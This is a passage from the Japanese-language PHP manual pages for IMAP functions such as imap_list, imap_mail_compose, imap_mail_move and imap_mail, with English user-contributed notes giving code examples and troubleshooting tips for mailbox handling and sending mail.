    var_dump(imap_search($srv, "ALL"));
  }
  imap_close($conn);
?>
c6h1206free at gmail dot com 16-Sep-2008 12:00
imap_list returns a simple array of strings that look just like the $ref parameter one needs to specify:

<?php

  $srv = '{imap.example.com}';

  $conn = imap_open($srv, 'me', 'mypass');

  $boxes = imap_list($conn, $srv, '*');

  print_r($boxes);
  imap_close($conn);
?>

Output:

<pre>
Array
(
    [0] => {imap.example.com}Calendar
    [1] => {imap.example.com}Contacts
    [2] => {imap.example.com}Deleted Items
    [3] => {imap.example.com}Drafts
    [4] => {imap.example.com}Journal
    [5] => {imap.example.com}Junk E-mail
    [6] => {imap.example.com}Notes
    [7] => {imap.example.com}Outbox
    [8] => {imap.example.com}RSS Feeds
    [9] => {imap.example.com}Sent Items
    [10] => {imap.example.com}Tasks
)
</pre>

These directly fill in the $ref argument for every function that takes one.
kevin at metalaxe dot com 05-Jun-2007 02:13
if there is an error imap_list returns FALSE not an empty array (as expected by docs)


imap_list のエイリアス

  • ≪ imap_list
  • imap_listscan ≫
  • PHP Manual
  • IMAP 関数
  • imap_list のエイリアス

imap_listmailbox

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_listmailbox — imap_list() のエイリアス

説明

この関数は次の関数のエイリアスです。 imap_list().

User Contributed Notes

There are no user contributed notes for this page.


指定したテキストにマッチするメールボックスの一覧を返す

  • ≪ imap_listmailbox
  • imap_listsubscribed ≫
  • PHP Manual
  • IMAP 関数
  • 指定したテキストにマッチするメールボックスの一覧を返す

imap_listscan

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_listscan — 指定したテキストにマッチするメールボックスの一覧を返す

説明

imap_listscan ( resource $imap , string $reference , string $pattern , string $content ) : array|false

content をテキストに持つメールボックスの名前を 配列で返します。

この関数は imap_listmailbox() に似ていますが、 メールボックス内に文字列 content が存在するか どうかを調べる点が違います。

パラメータ

imap

imap_open() が返す IMAP ストリーム。

reference

通常、reference は imap_open() で述べられているサーバー定義です。

警告

信頼できないデータをこのパラメータに渡すのであれば、 imap.enable_insecure_rsh を無効にしておかなければ危険です。

pattern

検索を開始するメールボックスの階層を指定します。

pattern の中で使用できる特別な文字として '*' および '%' があります。 '*' は、すべてのメールボックスを意味します。 pattern に '*' を指定すると、 メールボックス階層全体のリストが得られます。 '%' は現在のレベルのみを意味します。 '%' を pattern に指定すると、 トップレベルのメールボックスのみを返します。UW_IMAPD の場合、 '~/mail/%' は ~/mail ディレクトリ内のすべてのメールボックスを返しますが、 そのディレクトリのサブフォルダにあるメールボックスは返しません。

content

検索する文字列。

返り値

content をテキストに持つメールボックスの名前を配列で返します。 失敗した場合に false を返します

参考

  • imap_listmailbox() - imap_list のエイリアス
  • imap_search() - 指定した検索条件にマッチするメッセージを配列として返す

User Contributed Notes

There are no user contributed notes for this page.


imap_lsub のエイリアス

  • ≪ imap_listscan
  • imap_lsub ≫
  • PHP Manual
  • IMAP 関数
  • imap_lsub のエイリアス

imap_listsubscribed

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_listsubscribed — imap_lsub() のエイリアス

説明

この関数は次の関数のエイリアスです。 imap_lsub().

User Contributed Notes

There are no user contributed notes for this page.


購読しているすべてのメールボックスの一覧を得る

  • ≪ imap_listsubscribed
  • imap_mail_compose ≫
  • PHP Manual
  • IMAP 関数
  • 購読しているすべてのメールボックスの一覧を得る

imap_lsub

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_lsub — 購読しているすべてのメールボックスの一覧を得る

説明

imap_lsub ( resource $imap , string $reference , string $pattern ) : array|false

購読しているすべてのメールボックスの配列を取得します。

パラメータ

imap

imap_open() が返す IMAP ストリーム。

reference

通常、reference は imap_open() で述べられているサーバー定義です。

警告

信頼できないデータをこのパラメータに渡すのであれば、 imap.enable_insecure_rsh を無効にしておかなければ危険です。

pattern

検索を開始するメールボックスの階層を指定します。

pattern の中で使用できる特別な文字として '*' および '%' があります。 '*' は、すべてのメールボックスを意味します。 pattern に '*' を指定すると、 メールボックス階層全体のリストが得られます。 '%' は現在のレベルのみを意味します。 '%' を pattern に指定すると、 トップレベルのメールボックスのみを返します。UW_IMAPD の場合、 '~/mail/%' は ~/mail ディレクトリ内のすべてのメールボックスを返しますが、 そのディレクトリのサブフォルダにあるメールボックスは返しません。

返り値

購読しているすべてのメールボックスの配列を返します。 失敗した場合に false を返します

参考

  • imap_list() - メールボックスのリストを読み込む
  • imap_getmailboxes() - メールボックスのリストを読み込み、各ボックスに関する詳細な情報を返す

User Contributed Notes

There are no user contributed notes for this page.


指定したエンベロープおよびボディセクションに基づいて MIME メッセージを作成する

  • ≪ imap_lsub
  • imap_mail_copy ≫
  • PHP Manual
  • IMAP 関数
  • 指定したエンベロープおよびボディセクションに基づいて MIME メッセージを作成する

imap_mail_compose

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_mail_compose — 指定したエンベロープおよびボディセクションに基づいて MIME メッセージを作成する

説明

imap_mail_compose ( array $envelope , array $bodies ) : string|false

指定したエンベロープ envelope およびボディセクション bodies に基づいて MIME メッセージを作成します。

パラメータ

envelope

ヘッダフィールドの連想配列。使えるキーは "remail", "return_path", "date", "from", "reply_to", "in_reply_to", "subject", "to", "cc", "bcc"。 "message_id"。 これらの値は、連想配列の値に与えられた文字列でそれぞれのヘッダを設定します。 さらに追加のヘッダを設定する用途として、 "custom_headers" がサポートされています。 ここには、その他のヘッダの連想配列を指定します。例: ["User-Agent: My Mail Client"]

bodies

本文の配列。 配列の最初の要素が、メッセージの中心部分です。 TYPEMULTIPART の場合にだけ、ふたつめ以降の要素が処理されます。 処理された要素は、本文の一部を構成します。

body に指定する配列の構造
キー | 型 | 説明
type | int | MIMEタイプ。 TYPETEXT (デフォルト), TYPEMULTIPART, TYPEMESSAGE, TYPEAPPLICATION, TYPEAUDIO, TYPEIMAGE, TYPEMODEL, TYPEOTHER が指定できます。
encoding | int | Content-Transfer-Encoding の値を指定します。 ENC7BIT (デフォルト), ENC8BIT, ENCBINARY, ENCBASE64, ENCQUOTEDPRINTABLE, ENCOTHER が指定できます。
charset | string | MIMEタイプの charset パラメータの値
type.parameters | array | Content-Type の名前と値を連想配列で指定します。
subtype | string | MIMEサブタイプ。例: TYPEIMAGE の場合は 'jpeg'
id | string | Content-ID の値
description | string | Content-Description の値
disposition.type | string | Content-Disposition の値。例: 'attachment'
disposition | array | Content-Disposition の名前と値を連想配列で指定します。
contents.data | string | ペイロード
lines | int | The size of the payload in lines.
bytes | int | ペイロードのサイズをバイト単位で指定します。
md5 | string | ペイロードのMD5チェックサム

返り値

MIME メッセージを文字列として返します。 失敗した場合に false を返します

例

例1 imap_mail_compose() の例

<?php

$envelope["from"]= "joe@example.com";
$envelope["to"]  = "foo@example.com";
$envelope["cc"]  = "bar@example.com";

$part1["type"] = TYPEMULTIPART;
$part1["subtype"] = "mixed";

$filename = "/tmp/imap.c.gz";
$fp = fopen($filename, "r");
$contents = fread($fp, filesize($filename));
fclose($fp);

$part2["type"] = TYPEAPPLICATION;
$part2["encoding"] = ENCBINARY;
$part2["subtype"] = "octet-stream";
$part2["description"] = basename($filename);
$part2["contents.data"] = $contents;

$part3["type"] = TYPETEXT;
$part3["subtype"] = "plain";
$part3["description"] = "description3";
$part3["contents.data"] = "contents.data3\n\n\n\t";

$body[1] = $part1;
$body[2] = $part2;
$body[3] = $part3;

echo nl2br(imap_mail_compose($envelope, $body));

?>

User Contributed Notes

jvandeweghe at kipsu dot com 06-Jun-2017 09:22
The custom_headers envelope documentation is misleading. Its not actually an "associative array", its a regular array of headers.

This is wrong:

<?php
$envelope = [
    //...
    "custom_headers" => [
        "X-SES-CONFIGURATION-SET" => "example",
        "X-SES-MESSAGE-TAGS" => "emailType=example"
    ]
];
?>

This is right:

<?php
$envelope = [
    //...
    "custom_headers" => [
        "X-SES-CONFIGURATION-SET: example",
        "X-SES-MESSAGE-TAGS: emailType=example"
    ]
];
?>
coxsterdillon at hotmail dot com 08-Sep-2013 05:54
So following on from their example, once you've composed your email with attachment or whatever, you'll probably want to send it.

since imap_mail(...) takes the message as body and re-encodes it, ignoring all the hard work you've done already.

Only real solution I found is to post it yourself:

// open connect to mail server
$socket=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);
if ($socket===false) {
    die('Error: socket_create, '.socket_strerror(socket_last_error()));
}

$server="myserver.com"; // say 10.0.0.1 or whatever your mail sever is
$port=25;  // again your mail server port, here generic smtp
if (socket_connect($socket,$server,$port)) {
    print "Connection successful\n";
}else {
    die('Error: socket_connect, '.socket_strerror(socket_last_error()));
}

// send it...
socket_write($socket,"HELO {$envelope["from"]}\n");
socket_write($socket,"MAIL FROM: {$envelope["from"]}\n");
socket_write($socket,"RCPT TO: {$envelope["to"]}\n");
socket_write($socket,"DATA\n");
socket_write($socket,"$message\n");
socket_write($socket,".\n");
socket_write($socket,"QUIT\n");

// done...
socket_close($socket);

Ofcourse the shell may work for you?

echo "Hello World" | mail -s "Greeting..." -a "attachSomeFile.txt" gspot@gmail.com
Guido 26-Aug-2008 10:25
For some email clients its necessary first to start with the body text and end with the attachment(s). Otherwise all the parts end up in attachments, also the body text (took a while to find this).

So example #1 (above) should be switched over, like:

$body[1] = $part1;
$body[2] = $part3;
$body[3] = $part2;
Freman 07-Aug-2007 05:57
Since at least PHP 4.3 the $part[] hash can contain the $part['type.parameters'] which expects a hash.

Unfortunately for "hans at lintoo dot dk" there doesn't appear to have ever been $part['parameters.name'] or a $part['dparameters.filename']

So it would appear the corrected code for his function is

<?php
            $part["type"] = TYPEAPPLICATION;
            $part["encoding"] = ENCBASE64;
            $part["subtype"] = "octet-stream";
            $part["description"] = $file_name;
            $part['disposition.type'] = 'attachment';
            $part['disposition'] = array ('filename' => $file_name);
            $part['type.parameters'] = array('name' => $file_name);
            $part["contents.data"] = base64_encode(fread($file_handle,$file_size));
?>
While this correctly sets the header

Content-Type: application/octet-stream; name="file_name"
Content-Transfer-Encoding: BASE64
Content-Description: file_name
Content-Disposition: attachment; filename="file_name"

But this is still not a good idea to blanket set every attachment as a application/octet-stream so please consider using the unix command file, or Fileinfo functions (or even trusting file upload mimetype) and pay attention to the code from "derf dot m at reseaunix dot net"
hans at lintoo dot dk 25-Sep-2005 11:30
Here is a little something for attaching files... This is already documented in the manual, but my solution involves some changes. This is based on testing and suggestions from others notes on this page.
<?php
//snip
if (count($_FILES) > 0) {
    $multipart["type"] = TYPEMULTIPART;
    $multipart["subtype"] = "mixed";
    $body[] = $multipart; //add multipart stuff
}
//snip
$uploaddir = ini_get("upload_tmp_dir"); //Get tmp upload dir from PHP.ini
foreach ($_FILES as $fieldName => $file) {
    for ($i=0;$i < count($file['tmp_name']);$i++) {
        if (is_uploaded_file($file['tmp_name'][$i])) {
            $file_handle = fopen($file["tmp_name"][$i], "rb");
            $file_name = $file["name"][$i];
            $file_size = filesize($file["tmp_name"][$i]);

            $part["type"] = TYPEAPPLICATION;
            $part["encoding"] = ENCBASE64;
            $part["subtype"] = "octet-stream";
            $part["description"] = $file_name;
            $part['disposition.type'] = 'attachment';
            $part['disposition'] = array ('filename' => $file_name);
            $part['dparameters.filename'] = $file_name;
            $part['parameters.name'] = $file_name;
            $part["contents.data"] = base64_encode(fread($file_handle,$file_size));

            $body[] = $part;
            unlink($file["tmp_name"][$i]);
        }
    }
}
//snip
?>
hope someone can use this...
Regards, Hans @ http://lintoo.dk/
hans at lintoo dot dk 23-Sep-2005 06:29
I got a lot of problems with attachments (multipart emails) and the fix directly below this note.
instead just include it in the optional headers argument as previously suggested:

<?php
$mail = str_replace("\r","",imap_mail_compose($envelope, $body));
imap_mail($_POST["to"],$_POST["subject"],'',$mail);
?>
"Nothing like a fix on a fix".

If you want to copy the message to ie: a sent folder do:
<?php
//take note of the link: $this->mbox, and the constant: self::$imapStream
$envelope["to"]  = $_POST["to"]; //included with imap_mail
$envelope["subject"]  = $_POST["subject"]; //included with imap_mail
$mail = imap_mail_compose($envelope, $body); //note no problems with \r
imap_append($this->mbox,self::$imapStream."INBOX.Sent",$mail ,"\\Seen");
?>
See imap_append for more info.... Enjoy!
thomas dot hebinck at digionline dot de 06-Sep-2003 05:28
It is a good idea to set the date header:
$envelope['date']=date('r');
Los Olvidados 23-Jan-2003 02:16
If you wish to send the output of this function, simply use it for the headers argument of imap_mail() or mail().  Keep in mind that those functions set the To: and Subject: headers, so including them in the envelope will create double entries.
trionon at mail dot ru 28-Jan-2002 11:03
At least the following items in $part[] hashes are parsed:

type
encoding
charset
subtype
id
description
disposition.type
disposition
contents.data
lines
bytes
md5

Note: $part['disposition'] is a hash:

$part['disposition.type'] = 'attachment';
$part['disposition'] = array ('filename'=>'file.txt');

This will transform in such part header:

Content-disposition: attachment; filename="file.txt"
prices at dflytech dot com 07-Jan-2002 09:22
The documentation above does not mention that you can use the index ["charset"] to set the character set of the messsage part.

Example:

$part1["type"]= "TEXT";
$part1["subtype"]="PLAIN";
$part1["charset"] = "koi8-r";

to send a message in Russian-koi8.

Scott  =)


指定されたメッセージをメールボックスにコピーする

  • ≪ imap_mail_compose
  • imap_mail_move ≫
  • PHP Manual
  • IMAP 関数
  • 指定されたメッセージをメールボックスにコピーする

imap_mail_copy

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_mail_copy — 指定されたメッセージをメールボックスにコピーする

説明

imap_mail_copy ( resource $imap , string $message_nums , string $mailbox , int $flags = 0 ) : bool

message_nums で指定されたメッセージを、 指定したメールボックスにコピーします。

パラメータ

imap

imap_open() が返す IMAP ストリーム。

message_nums

message_nums は、 (» RFC2060 に記述されたように) ただのメッセージ番号ではなく、範囲を示します。

mailbox

メールボックス名。詳細は imap_open() を参照ください。

警告

信頼できないデータをこのパラメータに渡すのであれば、 imap.enable_insecure_rsh を無効にしておかなければ危険です。

flags

flags はビットマスクであり、以下の組み合わせです。

  • CP_UID - UIDS を含む処理の数
  • CP_MOVE - コピー後にメールボックスからメッセージを削除する

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • imap_mail_move() - 指定されたメッセージをメールボックスに移動する

User Contributed Notes

jigar dot dhaduk79 at gmail dot com 29-Sep-2015 11:11
When we want to copy more than one mail, we can write '(string)' before msg_num. Like..

$msg_num = "1,2,3,4,5,6,7";
$copy = imap_mail_copy($imap_stream, (string) $msg_num, '[Gmail]/Important', CP_UID);
Ben 26-Jan-2013 01:18
If you use this function and you get the following notice:

Notice: Unknown: IMAP protocol error: Could not parse command (errflg=2) in Unknown on line 0

Notice: Unknown: Could not parse command (errflg=2) in Unknown on line 0

you should check the function parameters. This notice appears (according to what I found on the internet and my problems) when it gets an invalid $msglist. So be sure to give the right number (as a String!):
"$msg_num", $msg_num or (string) $msg_num.

Dont use '$msg_num' when calling the function, this will literally send the string $msg_num.
You can give a string like "1,3,5,7,8", which will work perfectly fine to move the given mails.

I had all my mailnumbers in an array ( $messageSet) and used

<?php
$messageSetImpl = implode ( "," , $messageSet );

imap_mail_copy( $imapStream, $messageSetImpl, $mailBox )
?>

What I hadn't had thougt of was that my $messageSet was sometimes empty, that was when I got the notice. So you might want to check that by putting first:

<?php
if ( !( empty( $messageSet ) ) ) {

$messageSetImpl = implode ( "," , $messageSet );

imap_mail_copy( $imapStream, $messageSetImpl, $mailBox )

}
?>

That should work.
richard dot oplustil at gmail dot com 26-Mar-2012 03:18
imap_ mail_ move and imap_mail_copy don't work with sequence numbers on MS Exchange. imap_ uid in combination with CP_UID works fine.
marcus at names dot co dot uk 08-Jul-2002 10:51
If you are having problems getting imap_mail_copy and imap_mail_move to work, check you have installed imap_devel (the imap development libraries) as well as imap (the imap daemon). Without it, PHP appears to configure correctly --with-imap, but some functions do not work.

It took me about 12 hours to figure this out!!
hxlvt at hotmail dot com 04-Jan-2001 04:37
After much fooling around, imap_mail_copy did work for me. One thing you might want to check, if you are having problems, is the new mailbox name. Make sure it is just a folder name, e.g. INBOX.haha without the server part.


指定されたメッセージをメールボックスに移動する

  • ≪ imap_mail_copy
  • imap_mail ≫
  • PHP Manual
  • IMAP 関数
  • 指定されたメッセージをメールボックスに移動する

imap_mail_move

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_mail_move — 指定されたメッセージをメールボックスに移動する

説明

imap_mail_move ( resource $imap , string $message_nums , string $mailbox , int $flags = 0 ) : bool

message_nums で指定されたメッセージを、 指定されたメールボックス mbox に移動します。

パラメータ

imap

imap_open() が返す IMAP ストリーム。

message_nums

message_nums は、 (» RFC2060 に記述されたように) ただのメッセージ番号ではなく、範囲を示します。

mailbox

メールボックス名。詳細は imap_open() を参照ください。

警告

信頼できないデータをこのパラメータに渡すのであれば、 imap.enable_insecure_rsh を無効にしておかなければ危険です。

flags

flags はビットマスクであり、ひとつのオプションをとります。

  • CP_UID - UIDS を含む処理の数

返り値

成功した場合に true を、失敗した場合に false を返します。

注意

注意:

imap_mail_move() は元のメールに削除フラグを立てます。 imap_expunge() がコールされたときに確実に削除されるようにするためです。

参考

  • imap_mail_copy() - 指定されたメッセージをメールボックスにコピーする

User Contributed Notes

FredN 02-Oct-2020 08:16
to get right the folders names for imap_mail_move/imap_mail_copy, do not guess, instead use imap_list
phpmanual at NOSPAMPLEASE dot headbank dot co dot uk 10-Sep-2020 12:57
Be aware that this function returning TRUE doesn't necessarily mean anything actually happened.

It counts as "success" if all messages matching the range you supply were moved; however that includes if there were _no_ matching messages to move.

So suppose you supply a sequence-number or UID that's invalid, e.g. because  it's no longer present in the source folder:

<?php
$res = imap_mail_move($stream, '99999', 'DestFolder', CP_UID);

var_dump($res); // bool(true)
?>

It's up to you to validate the desired message(s) before moving, and/or afterwards.
ThEDocTor 01-Feb-2011 10:15
To copy/move a mail in Gmail to a particular Folder like Starred/Spam/Drafts/Trash

use the following statement and don't forget to call CL_EXPUNGE or imap_expunge($mbox) after it.

<?php
imap_mail_copy($mbox,'16','[Gmail]/Starred'); // 16 is the message number, which can also be a range.(ex: '1:15')

imap_close($mbox,CL_EXPUNGE);
?>

Incase u want to send it to a personally created Label/folder(ex: Test) use..

<?php
imap_mail_copy($mbox,'16','Test');
imap_expunge($mbox);
imap_close($mbox);
?>
jim dot bodine at comcast dot net 04-Jul-2007 10:49
I offer the following example because it took me HOURS to figure this out

<?php
$this->mailInBox = imap_open($this->mailConnectString."INBOX", $this->accountLogin, $this->accountPassword);

            $this->messageCount = imap_num_msg($this->mailInBox);
            echo "Processing " . $this->messageCount . " messages:<Br>";
            for ($i = 1; $i <= $this->messageCount; ++$i) {
                $header = imap_header($this->mailInBox, $i);

                $prettydate = date("jS F Y", $header->udate);
                $fromHost = $header->from[0]->host;

                if (isset($header->from[0]->personal)) {
                    $personal = $header->from[0]->personal;
                } else {
                    $personal = $header->from[0]->mailbox;
                }

                $body = imap_fetchbody($this->mailInBox, $i, "1.1");
                if ($body == "") {
                   $body = imap_fetchbody($this->mailInBox, $i, "1");
                }

                    $move = "INBOX.processed" . date("Ymd");
                    echo "trying to move:" . $i . "<br>";
                    @imap_mail_move($this->mailInBox, $i, $move);

                }

?>
alex at bestgames dot ro 21-Nov-2005 01:36
After using imap_mail_move, imap_mail_copy or imap_delete it is necesary to call imap_expunge() function.
php at guardn dot de 09-Jul-2003 09:06
To move mails via IMAP on an Exchange Server into "Gel?schte Objekte" use:

imap_mail_move($mbox, $delmsg, "Gel&APY-schte Objekte");

It took me some tcpdumping to get this out, since both
imap_utf7_encode and
imap_utf8

did not translate it right.

Guardn
dinter at gmx dot de 27-Jan-2003 10:18
I've used a dot in
imap_mail_move($mbox,$movmsgid,'INBOX.send');
instead of
INBOX/test
and it work's fine.
vlad (php.net) 04-Nov-2002 01:37
This keeps biting me time after time. A lot of IMAP servers with quotas don't implement 'move' right - they do a 'copy&delete' instead and don't recognize that this conflicts with their quota implementetions. So, if you try to move a large message, you'll exceed your quota even though moving it does not increase the total size of your mailbox. This is not PHP-specific, but I bet it'll bite someone else besides me, so here you go.
juuuugroid at yahoo dot com 17-Jul-2002 02:28
I had the most trouble with figureing out what the message list was supposed to be.  There was one comment by jan@showstar.com but i was still terribly confused.  So I searched and searched and searched.  I read rfc2060 over 10 times.  Then BAM!  My brother found it here:

http://www.cis.ohio-state.edu/cgi-bin/rfc/rfc2060.html#sec-6.4.7

Here is the importand stuff.

Another important field is the SEQUENCE, which identifies a set of messages by consecutive numbers from 1 to n where n is the number of messages in the mailbox.  A sequence may consist of a single number, a pair of numbers delimited by colon (equivalent to all numbers between those two numbers), or a list of single numbers or number pairs.  For example, the sequence 2,4:7,9,12:15 is equivalent to
   2,4,5,6,7,9,12,13,14,15 and identifies all those messages.

There is what I know about it.  BAM!
laurent dot penou at gadz dot org 17-Aug-2001 12:28
to complete the previous example, if the mbox/folders names are
{imap.free.fr}INBOX
{imap.free.fr}INBOX/draft
{imap.free.fr}INBOX/test

and you want to copy/move from INBOX to INBOX/test this is the syntax:

$mbox = imap_open("{imap.free.fr}INBOX",$mailuser,$mailpass)
      or die("can't connect: ".imap_last_error());
...
imap_mail_move($mbox,$messageset,"INBOX/test");

Hope this could help !
ian at showstar dot com 20-Jan-2000 06:41
The syntax for the message list is defined in RFC2060
It is a string, containing a list of message numbers and ranges, separated by commas (no spaces anywhere.) For example, "1,2,5,11:15,19" would be accepted by imap_mail_copy or imap_mail_move.
A range of messages is defined as two message numbers separated by a colon (Ex. "1:10".) Also, a "*" may be used to refer to the last message in a mailbox. (Ex. "1:*" refers to all messages)
Be careful not to use the same mailbox for source and destination, especially if you expunge the mailbox immediately afterwards; the message will be copied (back over itself), flagged as deleted (by the imap_mail_move function), and then expunged.

The following code will move the messages in the $msg_no[] array from the folder in $mbox_name to the folder in $newmbox_name: ($mbox is an already-opened imap stream)

<?php
if ($mbox_name != $newmbox_name) {
  reset($msg_no);
  $messageset = implode (",",$msg_no);
  imap_mail_move($mbox,$messageset,$newmbox_name);
  imap_expunge($mbox);
}
?>
portico dot nospam at neverwas dot net 11-Jan-2000 03:17
This function works, just not like everything else IMAP in PHP3... rather than feeding the server {server.ext/type:port}folder just feed it the folder's name.
matt at bonneau dot net 20-Dec-1999 03:49
This function copies the mail and then marks the source as deleted.  In order to see the changes, you must imap_expunge the source box.


e-mail メッセージを送信する

  • ≪ imap_mail_move
  • imap_mailboxmsginfo ≫
  • PHP Manual
  • IMAP 関数
  • e-mail メッセージを送信する

imap_mail

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_mail — e-mail メッセージを送信する

説明

imap_mail ( string $to , string $subject , string $message , string|null $additional_headers = null , string|null $cc = null , string|null $bcc = null , string|null $return_path = null ) : bool

この関数は、Cc および Bcc 受信者の正確な処理を行って email を送信することが可能です。

パラメータ to、cc および bcc は全て文字列で、 » RFC822 アドレスリストとしてパースされます。

パラメータ

to

受信者。

subject

メールの件名。

message

メールの本文。 imap_mail_compose() を参照ください。

additional_headers

メールに設定する追加ヘッダ文字列。

cc

bcc

bcc で指定した受信者は mail を受信しますが、 ヘッダからは除外されます。

return_path

リターンパスを指定するために rpath パラメータを使用してください。この関数は、 複数のユーザー用のメールクライアントとして PHP を使用する際に有用です。

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
8.0.0 | additional_headers, cc, bcc, return_path は、nullable になりました。

参考

  • mail() - メールを送信する
  • imap_mail_compose() - 指定したエンベロープおよびボディセクションに基づいて MIME メッセージを作成する

User Contributed Notes

Patanjali 13-Jan-2018 08:48
In response to Mathias Rav's comment.

While imap_mail might have this $rpath bug, it is hardly comparable to mail, because mail only uses the default send mail server account, and not a real mailbox, which you can programmatically interrogate and clean up.

Using the imap extension allows proper mail management and operation, like users not getting the cryptic server account name followed by 'on behalf of' the 'From' address that mail sourced emails show on some recipient clients.
Mathias Rav 23-Jun-2009 09:07
As per http://bugs.php.net/bug.php?id=30688 the $rpath argument is ignored, and since the (as of now) 4 year old bug is tagged WONTFIX in the bug tracker, this function is effectively deprecated in favour of mail().
uphonesimon at gmail dot com 22-Dec-2005 11:45
make sure you've correctly setup the SMTP parameters in php.ini
and aslo make sure that the SMTP server accepts relay

for some mail servers, you have to open up an imap stream, log in, and then you can send mail through imap_mail
bandpay at hotmail dot com 05-Jan-2001 06:01
Extending the above note.
When the socket connection is stablished, it works exactly as if you had openned a telnet connection to the news server. If you don't know what kind of headers you have to send to the news server, then I'll suggest that you better give it a try and play with a telnet connection like this:

telenet news.servername.com 119

eaxmple:

telnet news.euroconnect.dk 119
Trying 195.184.44.30...
Connected to news.euroconnect.net (195.184.44.30).
Escape character is '^]'.
200 news.euroconnect.net (Typhoon v1.2.1)

then you'll receive confirmation from the server that you are connected. Now type "help" and enter, and you'll see what commands are supported.

eaxmle:

help
100 Legal Commands
  article [<messageid>|number]
  authinfo type value
  body [<messageid>|number]
  date
  group newsgroup
  head [<messageid>|number]
  help
  last
  list [active wildmat|active.times|counts wildmat]
  list [overview.fmt|newsgroups wildmat]
  listgroup newsgroup
  mode reader
  newgroups yyyymmdd hhmmss [GMT]
  newnews newsgroups yyyymmdd hhmmss [GMT]
  next
  post
  stat [<messageid>|number]
  xhdr field [range]
  xover [range]
  xpat field range pattern
  quit

If you want to post a message, you can start by entring the "post" command.

example:

post
340 Send Article to be Posted

From here you can start to enter the header information.
The most important headers are:
From:
Subject:
Newsgroup:

after the ":" a "white space" must follow.

If you are posting the multipart message then remember
MIME-Version: 1.0

This one is also one of the important headers when you are posting a multipart message. The boundary must follow the content type in the same line.

Content-Type: multipart/mixed; boundary="------------4A11A9ABCFCA70DD4E0C3605"

Take a look at the article below to find out more about headers and packing of the message.

http://www.phpbuilder.com/columns/kartic20000807.php3


現在のメールボックスに関する情報を得る

  • ≪ imap_mail
  • imap_mime_header_decode ≫
  • PHP Manual
  • IMAP 関数
  • 現在のメールボックスに関する情報を得る

imap_mailboxmsginfo

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_mailboxmsginfo — 現在のメールボックスに関する情報を得る

説明

imap_mailboxmsginfo ( resource $imap ) : stdClass

サーバーにおける現在のメールボックスのステータスを調べます。この関数は imap_status() に似ていますが、 メールボックス内の全メッセージのサイズを合計します。このため、 実行時間が幾分余計にかかります。

パラメータ

imap

imap_open() が返す IMAP ストリーム。

返り値

以下のプロパティを有するオブジェクトを返します。

Mailbox のプロパティ
Date | 最終変更日 (現在の日付時刻)
Driver | ドライバ
Mailbox | メールボックスの名前
Nmsgs | メッセージ数
Recent | 最近のメッセージの数
Unread | 未読のメッセージの数
Deleted | 削除されたメッセージの数
Size | メールボックスのサイズ

Returns false on failure.

例

例1 imap_mailboxmsginfo() example

<?php

$mbox = imap_open("{imap.example.org}INBOX", "username", "password")
      or die("接続できません: " . imap_last_error());

$check = imap_mailboxmsginfo($mbox);

if ($check) {
    echo "Date: "     . $check->Date    . "<br />\n" ;
    echo "Driver: "   . $check->Driver  . "<br />\n" ;
    echo "Mailbox: "  . $check->Mailbox . "<br />\n" ;
    echo "Messages: " . $check->Nmsgs   . "<br />\n" ;
    echo "Recent: "   . $check->Recent  . "<br />\n" ;
    echo "Unread: "   . $check->Unread  . "<br />\n" ;
    echo "Deleted: "  . $check->Deleted . "<br />\n" ;
    echo "Size: "     . $check->Size    . "<br />\n" ;
} else {
    echo "imap_mailboxmsginfo() に失敗: " . imap_last_error() . "<br />\n";
}

imap_close($mbox);

?>

User Contributed Notes

workshop200 dot com at gmail dot com 29-Jan-2018 09:55
If you need to get only time for the mailbox you should go with imap_check()
phrank 15-Mar-2010 05:32
imap_mailboxmsginfo() is NOT similar to imap_status(). You will easily recognize that if you compare the prototypes:

object imap_mailboxmsginfo  (  resource $imap_stream  )

object imap_status  (  resource $imap_stream  ,  string $mailbox  ,  int $options  )

One SIGNIFICANT difference is that imap_mailboxmsginfo() gets the mailbox name from the stream resource and imap_status() requires any mailbox name as second argument.
Maxg 30-Aug-2004 02:41
About the slowness of imap_mailboxmsginfo() : if used on an IMAP connection, I did checked my mailserver logs and it appeared to send FETCH commands to retrieve the headers of EVERY messages of the mailbox ...
So, if you have, let's say, 400 messages in a folder, the function will be very slow (>1.5 sec on a local server !) ...

I strongly advise you to use imap_status() instead, which only sends one < STATUS "Mailbox/Name" (MESSAGES UNSEEN) > and is actually a lot faster (at least with IMAP, but that's maybe not true with POP3)
m at tacker dot org 12-Mar-2003 01:55
The runtime difference between imap_status and imap_mailboxmsginfo is very significant on large mailboxes

<?php

/** opening connection to a
   * mailbox with 3987 messages
   * and retrive status information **/
$mbox = imap_open ('{mail.somwhere.com:110}', $user, $password);

$mbox_info = imap_status($mbox, '{mail.somwhere.com:110}INBOX', SA_MESSAGES);
/** took 11.05 seconds **/

$mbox_info = imap_mailboxmsginfo($mbox);
/** took 6 minutes 5.382 seconds **/

?>
js at jerntorget dot se, ej at jerntorget dot se 20-Sep-2002 07:29
then use imap_get_quotaroot().....

or use this one (works with qmail):
function get_quotaroot() {
if(!$socket = @fsockopen("your server", your port);
    return false;
fgets($socket, 1024);
fputs($socket, "a001 LOGIN ".$username." ".$password."\n");
fgets($socket, 1024);
fputs($socket, "a002 GETQUOTAROOT INBOX\n");
fgets($socket, 1024);
$result = fgets($socket, 1024);
fputs($socket, "a003 LOGOUT\n");
fgets($socket, 1024);
sscanf($result, '* QUOTA "ROOT" (STORAGE %d %d MESSAGE %d %d', $usedSize, $maxSize, $usedNum, $maxNum);
return array("usedSize" => $usedSize, "maxSize" => $maxSize, "usedNum" => $usedNum, "maxNum" => $maxNum);
}
stephane-wantiez at tiscalinet dot be 11-Aug-2002 01:13
imap_get_quota need you to be the admin of the mail server !


MIME ヘッダ要素をデコードする

  • ≪ imap_mailboxmsginfo
  • imap_msgno ≫
  • PHP Manual
  • IMAP 関数
  • MIME ヘッダ要素をデコードする

imap_mime_header_decode

(PHP 4, PHP 5, PHP 7, PHP 8)

